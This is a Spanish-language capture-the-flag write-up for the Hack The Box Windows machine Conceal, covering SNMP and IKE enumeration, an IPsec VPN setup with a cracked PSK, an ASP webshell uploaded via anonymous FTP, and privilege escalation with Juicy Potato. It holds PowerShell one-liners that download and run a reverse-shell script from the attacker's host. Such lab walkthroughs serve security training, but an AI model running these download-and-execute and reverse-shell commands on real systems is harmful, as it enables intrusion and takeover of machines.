Saltar al contenido

HackTheBox – Conceal – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Conceal de Hack the Box. Es una máquina Windows de nivel difícil. En esta máquina es necesario conectarse a través de una VPN IPSEC para obtener acceso al host.

Debido a que está maquina tiene un protocolo de seguridad basado en VPN voy a dividir el Writeup en dos fases.

Fase 1. Entorno inicial

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo.

nmap -p- -n --open --min-rate 10000 10.10.10.116 -Pn

No descubro ningún puerto abierto. Por norma general esto es bastante raro porque es un CTF así que tiene que estar así adrede.

Escaneo los 1000 puertos mas comunes del protocolo UDP, estableciendo un envío mínimo de 10000 paquetes por segundo.

sudo nmap -sU --open -n --min-rate 10000 10.10.10.116

En la máquina encuentro un puerto abierto. Esto ya me da una pista de que este debe ser el camino diseñado para la máquina pero este puerto por si solo no me da opciones para la explotación. Nmap, para el protocolo UDP, es muy poco fiable ya que no se produce el triple handshake como en TCP (mas información aquí). Cuando nuestra máquina manda a un puerto un SYN y no recibe como respuesta un SYN-ACK, no sabe si el puerto está filtrado o abierto, por lo que nmap da las dos opciones.

Para acelerar el proceso y descubrir si hay mas puertos abiertos de los mostrados, escaneo los 50 puertos mas comunes pero queriendo saber la versión del servicio que corre por ellos. La información que me devuelva será de todos los puertos que hay abiertos, aunque anteriormente no me los haya mostrado.

sudo nmap -sU -sV --top-ports 50 -n -T5 10.10.10.116

Descubro que el puerto 161 también está abierto y corriendo un servicio snmp. Con estos puertos identificados ya tengo un vector de ataque posible por lo que ejecuto una serie de scripts de enumeración básicos sobre los puertos que he encontrado.

sudo nmap -sU -sV -sC -p161,500  10.10.10.116
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-17 18:50 CET
Nmap scan report for 10.10.10.116
Host is up (0.11s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server (public)
| snmp-interfaces: 
|   Software Loopback Interface 1\x00
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 1 Gbps
|     Traffic stats: 0.00 Kb sent, 0.00 Kb received
|   vmxnet3 Ethernet Adapter\x00
|     IP address: 10.10.10.116  Netmask: 255.255.255.0
|     MAC address: 00:50:56:b9:b7:bd (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Traffic stats: 548.77 Kb sent, 27.81 Mb received
|   vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter-0000\x00
|     MAC address: 00:50:56:b9:b7:bd (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Traffic stats: 548.77 Kb sent, 27.81 Mb received
|   vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000\x00
|     MAC address: 00:50:56:b9:b7:bd (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Traffic stats: 548.77 Kb sent, 27.81 Mb received
|   vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter-0000\x00
|     MAC address: 00:50:56:b9:b7:bd (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|_    Traffic stats: 548.77 Kb sent, 27.81 Mb received
| snmp-netstat: 
|   TCP  0.0.0.0:21           0.0.0.0:0
|   TCP  0.0.0.0:80           0.0.0.0:0
|   TCP  0.0.0.0:135          0.0.0.0:0
|   TCP  0.0.0.0:445          0.0.0.0:0
|   TCP  0.0.0.0:49664        0.0.0.0:0
|   TCP  0.0.0.0:49665        0.0.0.0:0
|   TCP  0.0.0.0:49666        0.0.0.0:0
|   TCP  0.0.0.0:49667        0.0.0.0:0
|   TCP  0.0.0.0:49668        0.0.0.0:0
|   TCP  0.0.0.0:49669        0.0.0.0:0
|   TCP  0.0.0.0:49670        0.0.0.0:0
|   TCP  10.10.10.116:139     0.0.0.0:0
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:500          *:*
|   UDP  0.0.0.0:4500         *:*
|   UDP  0.0.0.0:5050         *:*
|   UDP  0.0.0.0:5353         *:*
|   UDP  0.0.0.0:5355         *:*
|   UDP  0.0.0.0:56630        *:*
|   UDP  10.10.10.116:137     *:*
|   UDP  10.10.10.116:138     *:*
|   UDP  10.10.10.116:1900    *:*
|   UDP  10.10.10.116:62850   *:*
|   UDP  127.0.0.1:1900       *:*
|_  UDP  127.0.0.1:62851      *:*
| snmp-processes: 
|   1: 
|     Name: System Idle Process
|   4: 
|     Name: System
|   288: 
|     Name: smss.exe
|   304: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k LocalServiceNoNetwork
|   380: 
|     Name: csrss.exe
|   460: 
|     Name: wininit.exe
|   468: 
|     Name: csrss.exe
|   524: 
|     Name: winlogon.exe
|   592: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k LocalService
|   596: 
|     Name: services.exe
|   608: 
|     Name: lsass.exe
|     Path: C:\Windows\system32\
|   680: 
|     Name: SearchFilterHost.exe
|     Path: C:\Windows\system32\
|     Params:  0 692 696 704 8192 700 
|   696: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k DcomLaunch
|   720: 
|     Name: fontdrvhost.exe
|   728: 
|     Name: fontdrvhost.exe
|   812: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k RPCSS
|   828: 
|     Name: vmacthlp.exe
|     Path: C:\Program Files\VMware\VMware Tools\
|   864: 
|     Name: dllhost.exe
|     Path: C:\Windows\system32\
|     Params: /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
|   896: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k netsvcs
|   912: 
|     Name: dwm.exe
|   952: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k LocalSystemNetworkRestricted
|   968: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k LocalServiceNetworkRestricted
|   1076: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k NetworkService
|   1204: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k LocalServiceNetworkRestricted
|   1224: 
|     Name: Memory Compression
|   1248: 
|     Name: msdtc.exe
|     Path: C:\Windows\System32\
|   1284: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k LocalServiceNetworkRestricted
|   1292: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k LocalServiceNetworkRestricted
|   1488: 
|     Name: spoolsv.exe
|     Path: C:\Windows\System32\
|   1624: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k appmodel
|   1684: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k apphost
|   1692: 
|     Name: svchost.exe
|     Path: C:\Windows\System32\
|     Params: -k utcsvc
|   1704: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k ftpsvc
|   1788: 
|     Name: SecurityHealthService.exe
|   1800: 
|     Name: snmp.exe
|     Path: C:\Windows\System32\
|   1836: 
|     Name: VGAuthService.exe
|     Path: C:\Program Files\VMware\VMware Tools\VMware VGAuth\
|   1848: 
|     Name: vmtoolsd.exe
|     Path: C:\Program Files\VMware\VMware Tools\
|   1864: 
|     Name: ManagementAgentHost.exe
|     Path: C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\
|   1896: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k iissvcs
|   1920: 
|     Name: MsMpEng.exe
|   2476: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k NetworkServiceNetworkRestricted
|   2728: 
|     Name: LogonUI.exe
|     Params:  /flags:0x0 /state0:0xa39c9055 /state1:0x41c64e6d
|   2736: 
|     Name: SearchProtocolHost.exe
|     Path: C:\Windows\system32\
|     Params:  Global\UsGthrFltPipeMssGthrPipe80_ Global\UsGthrCtrlFltPipeMssGthrPipe80 1 -2147483646 "Software\Microsoft\Windows Search" "Moz
|   2780: 
|     Name: WmiPrvSE.exe
|     Path: C:\Windows\system32\wbem\
|   2964: 
|     Name: dllhost.exe
|     Path: C:\Windows\system32\
|     Params: /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
|   3056: 
|     Name: SearchIndexer.exe
|     Path: C:\Windows\system32\
|     Params: /Embedding
|   3456: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k LocalSystemNetworkRestricted
|   3524: 
|     Name: svchost.exe
|     Path: C:\Windows\system32\
|     Params: -k LocalServiceAndNoImpersonation
|   3672: 
|_    Name: NisSrv.exe
| snmp-sysdescr: Hardware: AMD64 Family 23 Model 1 Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
|_  System uptime: 4h39m3.73s (1674373 timeticks)
| snmp-win32-services: 
|   Application Host Helper Service
|   Background Intelligent Transfer Service
|   Background Tasks Infrastructure Service
|   Base Filtering Engine
|   CNG Key Isolation
|   COM+ Event System
|   COM+ System Application
|   Connected Devices Platform Service
|   Connected User Experiences and Telemetry
|   CoreMessaging
|   Cryptographic Services
|   DCOM Server Process Launcher
|   DHCP Client
|   DNS Client
|   Data Sharing Service
|   Data Usage
|   Device Setup Manager
|   Diagnostic Policy Service
|   Diagnostic Service Host
|   Distributed Link Tracking Client
|   Distributed Transaction Coordinator
|   Geolocation Service
|   Group Policy Client
|   IKE and AuthIP IPsec Keying Modules
|   IP Helper
|   IPsec Policy Agent
|   Local Session Manager
|   Microsoft FTP Service
|   Network Connection Broker
|   Network List Service
|   Network Location Awareness
|   Network Store Interface Service
|   Plug and Play
|   Power
|   Print Spooler
|   Program Compatibility Assistant Service
|   RPC Endpoint Mapper
|   Remote Procedure Call (RPC)
|   SNMP Service
|   SSDP Discovery
|   Security Accounts Manager
|   Security Center
|   Server
|   Shell Hardware Detection
|   State Repository Service
|   Storage Service
|   Superfetch
|   System Event Notification Service
|   System Events Broker
|   TCP/IP NetBIOS Helper
|   Task Scheduler
|   Themes
|   Tile Data model server
|   Time Broker
|   TokenBroker
|   User Manager
|   User Profile Service
|   VMware Alias Manager and Ticket Service
|   VMware CAF Management Agent Service
|   VMware Physical Disk Helper Service
|   VMware Tools
|   WinHTTP Web Proxy Auto-Discovery Service
|   Windows Audio
|   Windows Audio Endpoint Builder
|   Windows Connection Manager
|   Windows Defender Antivirus Network Inspection Service
|   Windows Defender Antivirus Service
|   Windows Defender Security Centre Service
|   Windows Driver Foundation - User-mode Driver Framework
|   Windows Event Log
|   Windows Firewall
|   Windows Font Cache Service
|   Windows Management Instrumentation
|   Windows Process Activation Service
|   Windows Push Notifications System Service
|   Windows Search
|   Windows Time
|   Workstation
|_  World Wide Web Publishing Service
| snmp-win32-software: 
|   Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161; 2021-03-17T15:16:36
|   Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161; 2021-03-17T15:16:36
|_  VMware Tools; 2021-03-17T15:16:36
| snmp-win32-users: 
|   Administrator
|   DefaultAccount
|   Destitute
|_  Guest
500/udp open  isakmp  Microsoft Windows 8
| ike-version: 
|   vendor_id: Microsoft Windows 8
|   attributes: 
|     MS NT5 ISAKMPOAKLEY
|     RFC 3947 NAT-T
|     draft-ietf-ipsec-nat-t-ike-02\n
|     IKE FRAGMENTATION
|     MS-Negotiation Discovery Capable
|_    IKE CGA version 1
Service Info: Host: Conceal; OS: Windows 8; CPE: cpe:/o:microsoft:windows:8, cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.83 seconds

Aquí encuentro varios puertos TCP abiertos por lo que tiene que haber algo que me impide verlos con normalidad así que escaneo los dos puertos encontrados por separado.

SNMP – Puerto 116 (UDP)

Ejecuto snmp-check y descubro que la community string está configurada como public y una contraseña IKE VPN por lo que ya puedo deducir que se está ejecutando un protocolo IPSec.

Cojo el hash de la contraseña, lo rompo en crackstation y me da como resultado Dudecake1!.

IKE – Puerto 500 (UDP)

Este puerto se utiliza (de forma predeterminada) para el intercambio de claves de internet (IKE) por el protocolo de VPN IPSec.

Utilizo ike-scan para obtener información del equipo y ver si puedo establecer una VPN con él.

sudo ike-scan -M 10.10.10.116
[sudo] password for DrP1ng: 
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.10.116	Main Mode Handshake returned
	HDR=(CKY-R=a51cdc2f71554295)
	SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
	VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
	VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
	VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
	VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
	VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
	VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)

De aquí obtengo que el IKE está cifrado con 3DES usando un hash SHA1, modp1024 y es v1 (versión 1). También puedo ver que la autenticación se basa en PSK (clave compartida).

Explotación

Mas que como explotación, es una conexión pero por seguir con los términos de un pentest lo llamaré explotación.

Comienzo instalando el cliente strongswan para conectarme a la VPN. Como esta herramienta se encuentra en el repositorio de kali linux, su instalación es muy sencilla.

apt install strongswan -y

La configuración es un poco complicada porque IPSec no explica mucho sobre ella pero googleando se pueden encontrar blogs con ejemplos fácilmente. Necesito editar el fichero /etc/ipsec.secrets y /etc/ipsec.conf y añadirles la información que he encontrado antes.

sudo cat /etc/ipsec.secrets 
# This file holds shared secrets or RSA private keys for authentication.

# RSA private key for this host, authenticating it to any other host
# which knows the public part.

%any : PSK "Dudecake1!"
sudo cat /etc/ipsec.conf 
# ipsec.conf - strongSwan IPsec configuration file

# basic configuration

config setup
	charondebug="all"
	strictcrlpolicy=no
	uniqueids = yes

# Add connections here.

# Sample VPN connections

#conn sample-self-signed
#      leftsubnet=10.1.0.0/16
#      leftcert=selfCert.der
#      leftsendcert=never
#      right=192.168.0.2
#      rightsubnet=10.2.0.0/16
#      rightcert=peerCert.der
#      auto=start

#conn sample-with-ca-cert
#      leftsubnet=10.1.0.0/16
#      leftcert=myCert.pem
#      right=192.168.0.2
#      rightsubnet=10.2.0.0/16
#      rightid="C=CH, O=Linux strongSwan CN=peer name"
#      auto=start


conn evil
	keyexchange=ikev1
	left=10.10.14.9
	right=10.10.10.116
	rightsubnet=10.10.10.116[tcp]
	authby=secret
	auto=add
	ike=3des-sha1-modp1024
	esp=3des-sha1
	type=transport

Una vez he terminado de editar los ficheros, reinicio IPSec y levanto la conexión/el tunel.

sudo ipsec restart
sudo ipsec up evil

Y hasta aquí es el final de la fase 1 y comienzo con el hackeo de la máquina.

Fase 2

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo. Como se puede ver en la siguiente imagen, ya si detecta los puertos (aunque ya los había descubierto anteriormente).

nmap -p- --min-rate 10000 -n --open 10.10.10.116

En la máquina hay doce puertos abiertos pero solo me interesan los cinco primeros. Escaneo los cinco puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p21,80,135,139,445 -sC -sV 10.10.10.116
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-17 19:36 CET
Nmap scan report for 10.10.10.116
Host is up (0.11s latency).

PORT    STATE SERVICE       VERSION
21/tcp  open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 13m56s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-17T18:50:31
|_  start_date: 2021-11-17T13:27:20

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.57 seconds

FTP – Puerto 21

En la información obtenida con nmap, he visto que la conexión con el usuario Anonymous esta habilitada. Entro al servidor pero veo que está vació.

HTTP – Puerto 80

Por este puerto esta ejecutándose un servidor IIS 10.0 de Microsoft. Accedo a la web y veo la típica pantalla de bienvenida de ISS.

Realizo un fuzzing con gobuster en busca de directorios ocultos y encuentro uno llamado /upload.

gobuster dir -u http://10.10.10.116/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 500 -e

Accedo al directorio y veo que está vacío.

Explotación

Tras la fase de enumeración, lo primero que pienso es que puede haber una relación entre el servidor web y el FTP. Creo un fichero llamado holamundo.txt y lo subo al directorio del FTP al que tengo acceso. Después accedo al directorio web http://10.10.10.116/upload/ y veo que el fichero está ahí.

Como hay relación entre los dos servicios, puedo subir un binario malicioso que me generé una webshell. Investigo un poco los protocolos permitidos en IIS 10.0 y veo que no acepta ficheros con extensión .aspx (anteriores versiones si lo aceptan) pero si que permite los ficheros con extensión .asp. Me descargo el código para un cmd de .asp en una línea aquí y lo subo al FTP.

El formato para utilizar esta cmd es http://<IP>/shell.asp/cmd=<comando>. Lanzo un comando whoami y obtengo respuesta.

http://10.10.10.116/upload/cmd.asp?cmd=whoami

Una vez conseguida la webshell voy a conseguir una shell reversa con powershell. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 7897, que me dará la shell reversa por netcat.

Renombro el binario a ps.ps1, levanto un servidor http en python y ejecuto el comando.

http://10.10.10.116/upload/cmd.asp?cmd=C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe iex(New-Object Net.Webclient).downloadstring('http://10.10.14.9:8000/ps.ps1')

Con este comando consigo una shell con un proceso de 64bits

La flag de usuario la encuentro en C:\Users\Destitute\Desktop\proof.txt.

Escalada de Privilegios

Comienzo enumerando los privilegios de mi usuario y veo que el SeImpersonatePrivilege está como Enabled por lo que ya tengo claro que la escalada de privilegios se realiza con Juicy Potato.

Enumero la información del sistema y veo que se trata de un Windows 10 Enterprise de 64 bits por lo que no tendré ningún problema para escalar privilegios. Ye he realizado este mismo proceso en la máquina Bart.

Me descargo un binario ejecutable de Juicy Potato desde aquí, lo cargo en la máquina víctima por el servidor http que he levantado y lo ejecuto para ver los argumentos que necesita.

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.9:8000/jp.exe','jp.exe')"
./jp.exe

Requiere 4 argumentos:

  • Crear una llamada al proceso (-t).
  • Un programa para ejecutar (-p).
  • Un puerto de escucha del servidor COM (-l).
  • Un CLSID (-c).

La llamada al proceso es algo sencillo, voy a poner * para utilizar las dos opciones de este argumento.

El puerto de escucha también es sencillo, solo necesito un puerto que esté libre. En mi caso he elegido el 9009.

El programa a ejecutar es mas laborioso que complicado. Primero modifico el fichero ps.ps1 que he creado anteriormente, cambiándole le puerto de escucha al 7899. A continuación, creo el fichero adminps.bat que descargará el fichero adminps.ps1 y lo ejecutará.

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.9:8000/adminps.ps1')

Subo adminps.bat a la máquina víctima.

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.9:8000/adminps.bat','adminps.bat')"

Por último, obtengo un CLSID de Windows 10 Entrerprise en el repositorio de github de Juicy Potato. Elijo el primero del servicio de wuauserv.

Ejecuto el binario y obtengo que el proceso se ha creado con éxito, consiguiendo una shell de administrador.

./jp.exe -t * -l 9009 -p adminps.bat -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

La flag de root la encuentro en C:\Users\Administrator\Desktop\proof.txt.

Publicado enCTFHTBOSCPwindows